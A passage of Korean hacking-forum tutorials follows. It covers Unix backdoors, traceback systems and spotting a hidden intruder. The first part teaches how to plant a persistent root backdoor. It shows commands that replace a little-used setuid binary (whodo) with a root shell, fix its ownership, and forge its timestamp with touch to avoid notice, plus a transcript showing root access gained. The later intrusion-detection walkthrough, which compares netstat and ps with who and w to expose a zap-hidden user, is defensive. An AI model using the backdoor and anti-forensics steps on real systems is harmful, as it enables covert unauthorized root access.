rootshell <= 바로 루트쉘설정중 한 단계죠. 즉..이것을 이용해서 find 명령으로 찾습니다. find . -user root -perm 4755 -print 정도의 명령어를 쓰면 됩니다. 4755 퍼미션이 아니면 문제가 생기겠죠? 이때는 ls -alR / |grep rws ls -alR |grep r-s ls -alR / | grep r-s (위에꺼 정정) ls -alR / |grep -- --s 입니다. -- --s 가 정상입 위에서 grep --s 를 왜 grep -- --s 라고 했는지는 스스로 알아내세요. 한번 grep --s 랑 grep -- --s 라고 해보시면 알아요. 이렇게 해서 루트쉘을 찾아낼수가 있겠죠? 백도어 (1) 강좌였습니다. 제 목: [강좌] 기초 백도어 (2) 기초적인 백도어 만들기 (2) 화일..변조 ^^; 보통 루트쉘이 setuid 가 걸려있다는 것에 착안해서.. 유닉스에는 많은 유틸리티가 있으며 그중에는 setuid 가 붙은 유틸리티가 있다. 그중에는 또한 거의 쓰지도 않으면서 setuid 가 붙은 프로그램을 공략하는 것이다. ex) 루트쉘을 만든후 그 것을 위에서 선택한 파일을 하나 지우고 파일명을 같게 한후 복사 시켜놓으면 된다. 여기서 주의 할점이다.. 파일을 복사또는 이동시에 날짜가 현재의 날짜로 변한다. 즉, 파일에 대한 날짜 표시가 오늘로 되어있다. 이를 바꿀수 있는 방법이 있다. 바로 touch 라는 프로그램이다. [ touch 의 간단한 명령 ] 리눅스의 경우 touch -t MMDDhhmmYY 파일명 MM : 월 DD : 일 hh : 시간 mm : 분 YY : 1997이라면 97을 입력시키는 것이다. ( 해도되고 안해도 된다. ) ex) touch -t 01020304 file ( file 을 1월 2일 3시 4분으로 바꾸었다. ) touch -t 0102030498 file ( file 을 1월 2일 3시 4분 98년으로 바꾼다. ) 유닉스의 경우 유닉스의 경우는 약간 다르다. (솔라리스의 경우) touch -t YYMMDDhhmm 이렇게 년수를 먼저 써야 한다. ex) > whereis whodo whodo: /etc/whodo /usr/sbin/whodo /usr/man/man1m/whodo.1m > ls -al /usr/sbin/whodo -r-sr-xr-x 1 root bin 12512 1996년 5월 3일 whodo > ls -al /tmp/rootshell -rwsr-xr-x 1 root root 111 1998년 2월 20일 /tmp/rootshell > cp -f /tmp/rootshell /usr/sbin/whodo > ls -al /usr/sbin/whodo -rwsr-xr-x 1 root root 111 1998년 2월 20일 whodo (원래의 whodo 의 그룹은 bin 이다..고치자) > chown root:bin /usr/sbin/whodo > ls -al /usr/sbin/whodo -rwsr-xr-x 1 root bin 111 1998년 2월 20일 whodo (이제 날짜를 바꾸어야 한다. 원래의 날짜는 1996년 5월 3일이어야 한다.) > touch -t 9802201212 /usr/sbin/whodo <= 여기서 끝의 1212는 임의로한것..) > ls -al /usr/sbin/whodo -r-sr-xr-x 1 root bin 111 1996년 5월 3일 whodo > /usr/sbin/whodo (실행을 해보자) # whoami root 여기까지이다. 이 과정을 보고도 모르겠다면 각성하고 다시 공부해라. 제 목: [강좌] 역추적 시스템의 개요. 역추적 시스템의 개요. 보통 파이어월로 허락하지 않는 호스트에 대해서 접속을 허용하지 않는다. 만약 111.111.11.11 이라는 곳에 대해서만 접속을 허용한다면 222.222.22.22 인사람은 그 호스트에 못들어간다. 하지만 222.222.22.22 의 호스트 사람이 111.111.11.11 을 거쳐서 들어간다면 접속이 허용된다. 이것을 바로 이행적 신뢰라고 하며, 많은 문제를 가지고 왔었다. 하지만 요즘들어 각광받는 역추적 시스템은 현재 들어오려는 사람의 최초의 근원지 인터넷 주소를 식별하여 이행적 신뢰에 의한 접속을 막는것이다. 또한 역추적 시스템은 해커&크래커를 잡는데 상당한 도움을 준다. 해커가 여러군데의 서버를 거쳐서 와도 역추적으로 인해 최초의 호스트 주소를 밝혀낼 수가 있다. 여기서 나는 이런 것들에 대한 글을 조심스럽게 올릴까 한다. 비트 프로젝트의 월간지 도움을 많이 받았다. 이강좌는 유/리/해가 없어지지 않는 한 지속적으로 천천히 올라갈껏이며 많은 사람들이 이에 동참했으면 좋겠다. 여기까지.. 제 목: [강좌] 크래커&해커 침입 감지해보기. [root@mud tmp]# zap loveyou /* loveyou 라는 아이디의 사람이 루트권한을 얻어서 zap을 실행하였다고 가정하자 */ [root@mud tmp]# netstat -a /* 현재의 네트웍 상황을 보자 */ Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:telnet *:* LISTEN tcp 0 0 *:login *:* LISTEN tcp 0 0 *:time *:* LISTEN tcp 0 0 *:auth *:* LISTEN tcp 0 0 *:smtp *:* LISTEN tcp 0 0 *:www *:* LISTEN tcp 0 0 *:5000 *:* LISTEN tcp 0 0 *:2008 *:* LISTEN tcp 0 51 mud.bigtel.co.kr:5000 203.234.246.225:61253 ESTABLISHED tcp 0 0 mud.bigtel.co.kr:ftp loveyou.intercast:16988 ESTABLISHED tcp 0 0 mud.bigtel.co.kr:telnet loveyou.intercast:17045 ESTABLISHED tcp 0 19872 mud.bigtel.co.:ftp-data loveyou.intercast:17114 ESTABLISHED tcp 0 0 mud.bigtel.co.kr:5000 210.123.207.59:4266 ESTABLISHED tcp 0 0 mud.bigtel.co.kr:5000 210.123.207.59:4272 ESTABLISHED tcp 0 0 mud.bigtel.co.kr:5000 210.123.207.59:4275 ESTABLISHED tcp 0 132 mud.bigtel.co.kr:telnet 203.247.36.108:1029 ESTABLISHED udp 0 0 *:720 *:* udp 0 0 *:syslog *:* udp 0 0 *:talk *:* udp 0 0 *:ntalk *:* udp 0 0 *:time *:* raw 0 0 *:1 *:* (.. 이하 생략 ) /* 위에서 보면 telnet 접속은 2군데이며 ftp 접속은 한군대 이다. 또한 5000 이라고 되어있는 것은 머드 포트를 나타낸것으로 4명이 머드를 사용한다 . */ [root@mud tmp]# who root tty1 Jan 11 16:45 loveyou ttyp0 Jan 12 00:25 (loveyou.intercas) /* netstat -a 로 네트웍을 보았을때는 분명히 2명의 텔넷 접속이 있었다. 하지만 who를 쳤을때 텔넷 접속은 loveyou (ttyp0 포트)가 한명밖에 접속이 안되어있다. 무언가 이상하지 않은가? */ [root@mud tmp]# w 3:44am up 11:06, 2 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 4:45pm 10:58m 4.59s 0.06s -bash loveyou ttyp0 loveyou.intercas 12:25am 3:17m 0.23s 0.05s -bash /* w 를 쳐도 텔넷 접속한 사람은 한명이다. */ [root@mud tmp]# ps -aux |more USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND loveyou 1669 0.0 1.2 1048 764 ? S 20:44 0:05 ftpd: loveyou.interca loveyou 2431 0.0 1.3 1184 860 p0 S 00:25 0:00 /bin/login -h loveyou loveyou 2432 0.0 1.1 1248 708 p0 S 00:25 0:00 -bash loveyou 3224 0.0 1.3 1184 860 p1 S 03:28 0:00 /bin/login -h 203.247 loveyou 3225 0.0 1.1 1252 716 p1 S 03:28 0:00 -bash loveyou 3278 0.0 1.0 1248 692 p1 S 03:39 0:00 sh nobody 206 0.0 1.0 1168 652 ? S 16:38 0:00 httpd nobody 207 0.0 1.0 1188 648 ? S 16:38 0:00 httpd nobody 208 0.0 0.8 1168 560 ? S 16:38 0:00 httpd nobody 209 0.0 0.8 1168 544 ? S 16:38 0:00 httpd nobody 210 0.0 1.0 1180 668 ? S 16:38 0:00 httpd nobody 314 0.0 0.9 1168 596 ? S 16:52 0:00 httpd root 1 0.0 0.4 880 308 ? S 16:38 0:02 init [3] root 2 0.0 0.0 0 0 ? SW 16:38 0:00 (kflushd) root 3 0.0 0.0 0 0 ? SW< 16:38 0:00 (kswapd) root 19 0.0 0.4 868 292 ? S 16:38 0:00 /sbin/kerneld root 121 0.0 0.0 0 0 ? SW 16:38 0:00 (nfsiod) root 122 0.0 0.0 0 0 ? SW 16:38 0:00 (nfsiod) root 123 0.0 0.0 0 0 ? SW 16:38 0:00 (nfsiod) root 124 0.0 0.0 0 0 ? SW 16:38 0:00 (nfsiod) root 135 0.0 0.5 904 360 ? S 16:38 0:00 syslogd (.. 이하생략) /* 위에서 보면 [root@mud tmp]# ps -aux |more USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND loveyou 1669 0.0 1.2 1048 764 ? S 20:44 0:05 ftpd: loveyou.interca loveyou 2431 0.0 1.3 1184 860 p0 S 00:25 0:00 /bin/login -h loveyou loveyou 2432 0.0 1.1 1248 708 p0 S 00:25 0:00 -bash loveyou 3224 0.0 1.3 1184 860 p1 S 03:28 0:00 /bin/login -h 203.247 loveyou 3225 0.0 1.1 1252 716 p1 S 03:28 0:00 -bash loveyou 3278 0.0 1.0 1248 692 p1 S 03:39 0:00 sh 이런 내용이 있다. 즉, loveyou 라는 아이디는 login이 두번되어있다. 하지만 w,who에는 나타나지 않았다. 이번에는 포트가 loveyou에게로 2개 이상이 열 려있는지 보자. */ [root@mud /dev]# ls -al |grep ttyp |more crw--w---- 1 loveyou tty 3, 0 Jan 12 03:24 ttyp0 <- loveyou crw--w---- 1 loveyou tty 3, 1 Jan 12 03:47 ttyp1 <- loveyou crw------- 1 root root 3, 2 Jan 11 20:44 ttyp2 crw------- 1 root root 3, 3 Jan 2 07:26 ttyp3 crw--w---- 1 loveyou tty 3, 4 Mar 19 1998 ttyp4 <- loveyou crw--w---- 1 lic2 tty 3, 5 Mar 20 1998 ttyp5 crw------- 1 root root 3, 6 Mar 20 1998 ttyp6 crw--w---- 1 sooki tty 3, 7 Mar 19 1998 ttyp7 crw------- 1 root root 3, 8 Mar 19 1998 ttyp8 crw------- 1 root root 3, 9 Mar 14 1998 ttyp9 crw------- 1 root root 3, 10 Mar 14 1998 ttypa crw------- 1 root root 3, 11 Mar 7 1998 ttypb crw------- 1 root root 3, 12 Mar 7 1998 ttypc crw------- 1 root root 3, 13 Mar 9 1998 ttypd crw------- 1 root root 3, 14 Mar 9 1998 ttype crw------- 1 root root 3, 15 Mar 9 1998 ttypf /* 위에서 보면 loveyou 에게 포트가 무려 3개나 열려있다. loveyou라는 아이디는 zap이라는 흔적 지우개로 자신을 감춘것이다. 이는 루트권한을 회득했다는 것과 같다. 그런데 3개나 있다. w,who에는 1개이지만 두개모두 zap을 이용해서 감춘 것일까? 이번에는 ftp사용자를 알아보자. */ [root@mud /dev]# ftpwho Service class all: 3334 ? S 0:00 ftpd: 203.255.23.96: kain: IDLE 1669 ? S 0:05 ftpd: loveyou.intercast.co.kr: loveyou: RETR hwpx-font-4.0be ta-2.noarch.rpm - 2 users ( -1 maximum) /* 여기서 보자 ftpwho라는 것은 ftp상에 들어온 사람의 리스트를 보여주는 것이다. 위에서 보면 1669 프로세스는 loveyou라는 아이디의 사람이 loveyou.intercast.co. kr에서 들어와서 파일을 받고(RETR) 있다는 것을 보여준다. */ 자 이제 알겠는가? loveyou라는 아이디는 이미 루트를 획득하였고 zap이라는 흔적 지 우게로 who,w에 나타나지 않게 해놓았다. 하지만 ps나 netstat -a 에는 검색되었다. 일반적으로 이런 방법으로 침입자를 감시하는 것이다.